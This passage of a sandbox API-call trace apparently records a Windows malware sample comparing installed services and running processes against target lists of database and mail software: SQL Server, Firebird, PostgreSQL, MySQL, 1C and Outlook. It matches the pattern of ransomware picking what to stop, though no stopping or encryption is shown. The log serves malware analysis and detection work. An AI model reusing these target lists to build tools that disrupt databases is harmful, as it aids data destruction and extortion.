lpString2="SamSs") returned -1 [0044.099] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0044.099] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0044.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0044.099] lstrlenW (lpString="Schedule") returned 8 [0044.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0044.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0044.099] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0044.099] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0044.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0044.099] lstrlenW (lpString="SENS") returned 4 [0044.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0044.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0044.099] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0044.099] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0044.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0044.099] lstrlenW (lpString="ShellHWDetection") returned 16 [0044.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.099] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0044.099] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0044.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0044.099] lstrlenW (lpString="Spooler") returned 7 [0044.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0044.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0044.099] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0044.099] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0044.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0044.099] lstrlenW (lpString="SysMain") returned 7 [0044.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0044.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0044.100] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0044.100] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0044.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0044.100] lstrlenW (lpString="Themes") returned 6 [0044.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0044.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0044.100] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0044.100] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0044.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0044.100] lstrlenW (lpString="TrkWks") returned 6 [0044.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0044.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0044.100] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0044.100] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0044.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0044.100] lstrlenW (lpString="UxSms") returned 5 [0044.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0044.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0044.100] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0044.100] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0044.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0044.100] lstrlenW (lpString="VSS") returned 3 [0044.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0044.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0044.100] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0044.100] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0044.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0044.100] lstrlenW (lpString="WdiServiceHost") returned 14 [0044.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.100] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0044.100] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0044.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0044.101] lstrlenW (lpString="WdiSystemHost") returned 13 [0044.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.101] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0044.101] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0044.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0044.101] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0044.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.101] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0044.101] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0044.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0044.101] lstrlenW (lpString="Winmgmt") returned 7 [0044.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0044.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0044.101] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0044.101] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0044.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0044.101] lstrlenW (lpString="WPDBusEnum") returned 10 [0044.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0044.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0044.101] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0044.101] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0044.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0044.101] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6e1eb0 | out: hHeap=0x5f0000) returned 1 [0044.101] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x210 [0044.103] Process32FirstW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0044.104] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0044.104] lstrlenW (lpString="System") returned 6 [0044.104] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0044.104] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0044.104] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0044.104] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0044.105] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0044.105] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0044.105] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0044.105] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0044.105] lstrlenW (lpString="smss.exe") returned 8 [0044.105] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0044.105] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0044.105] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0044.105] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0044.105] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0044.105] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0044.105] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0044.105] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.106] lstrlenW (lpString="csrss.exe") returned 9 [0044.106] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0044.106] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0044.106] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0044.106] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0044.106] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0044.106] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0044.106] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0044.106] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0044.107] lstrlenW (lpString="wininit.exe") returned 11 [0044.107] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0044.107] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0044.107] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0044.107] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0044.107] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0044.107] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0044.107] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0044.107] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.108] lstrlenW (lpString="csrss.exe") returned 9 [0044.108] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0044.108] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0044.108] lstrlenW (lpString="winlogon.exe") returned 12 [0044.108] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0044.109] lstrlenW (lpString="services.exe") returned 12 [0044.109] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0044.110] lstrlenW (lpString="lsass.exe") returned 9 [0044.110] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0044.110] lstrlenW (lpString="lsm.exe") returned 7 [0044.110] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.111] lstrlenW (lpString="svchost.exe") returned 11 [0044.111] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.112] lstrlenW (lpString="svchost.exe") returned 11 [0044.112] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.112] lstrlenW (lpString="svchost.exe") returned 11 [0044.112] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.113] lstrlenW (lpString="svchost.exe") returned 11 [0044.113] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.113] lstrlenW (lpString="svchost.exe") returned 11 [0044.114] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0044.114] lstrlenW (lpString="audiodg.exe") returned 11 [0044.114] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.115] lstrlenW (lpString="svchost.exe") returned 11 [0044.115] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.115] lstrlenW (lpString="svchost.exe") returned 11 [0044.115] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0044.116] lstrlenW (lpString="dwm.exe") returned 7 [0044.116] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0044.117] lstrlenW (lpString="explorer.exe") returned 12 [0044.117] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0044.117] lstrlenW (lpString="spoolsv.exe") returned 11 [0044.117] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0044.118] lstrlenW (lpString="taskhost.exe") returned 12 [0044.118] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.119] lstrlenW (lpString="svchost.exe") returned 11 [0044.119] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0044.119] lstrlenW (lpString="taskeng.exe") returned 11 [0044.119] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0044.120] lstrlenW (lpString="taskhost.exe") returned 12 [0044.120] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations-breath.exe")) returned 1 [0044.121] lstrlenW (lpString="obligations-breath.exe") returned 22 [0044.121] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mirrors billion batch.exe")) returned 1 [0044.121] lstrlenW (lpString="mirrors billion batch.exe") returned 25 [0044.121] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieving.exe")) returned 1 [0044.122] lstrlenW (lpString="achieving.exe") returned 13 [0044.122] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="venice.exe")) returned 1 [0044.123] lstrlenW (lpString="venice.exe") returned 10 [0044.123] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="owns.exe")) returned 1 [0044.123] lstrlenW (lpString="owns.exe") returned 8 [0044.123] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="faster momentum.exe")) returned 1 [0044.124] lstrlenW (lpString="faster momentum.exe") returned 19 [0044.124] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vital_reasons.exe")) returned 1 [0044.124] lstrlenW (lpString="vital_reasons.exe") returned 17 [0044.124] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyone.exe")) returned 1 [0044.125] lstrlenW (lpString="everyone.exe") returned 12 [0044.125] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knife-matches-went.exe")) returned 1 [0044.126] lstrlenW (lpString="knife-matches-went.exe") returned 22 [0044.126] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bored_excluded.exe")) returned 1 [0044.126] lstrlenW (lpString="bored_excluded.exe") returned 18 [0044.126] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mothers.exe")) returned 1 [0044.127] lstrlenW (lpString="mothers.exe") returned 11 [0044.127] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="career-fed.exe")) returned 1 [0044.128] lstrlenW (lpString="career-fed.exe") returned 14 [0044.128] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-sv-infection.exe")) returned 1 [0044.128] lstrlenW (lpString="securities-sv-infection.exe") returned 27 [0044.128] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="initial_utilization.exe")) returned 1 [0044.129] lstrlenW (lpString="initial_utilization.exe") returned 23 [0044.129] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cf-represent.exe")) returned 1 [0044.130] lstrlenW (lpString="cf-represent.exe") returned 16 [0044.130] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tue.exe")) returned 1 [0044.130] lstrlenW (lpString="tue.exe") returned 7 [0044.130] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-lat-qualities.exe")) returned 1 [0044.131] lstrlenW (lpString="geo-lat-qualities.exe") returned 21 [0044.131] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distinctiondollardemographic.exe")) returned 1 [0044.131] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0044.131] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuff_event.exe")) returned 1 [0044.132] lstrlenW (lpString="stuff_event.exe") returned 15 [0044.132] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="keywords-copies.exe")) returned 1 [0044.265] lstrlenW (lpString="keywords-copies.exe") returned 19 [0044.265] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lap.exe")) returned 1 [0044.266] lstrlenW (lpString="lap.exe") returned 7 [0044.266] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, 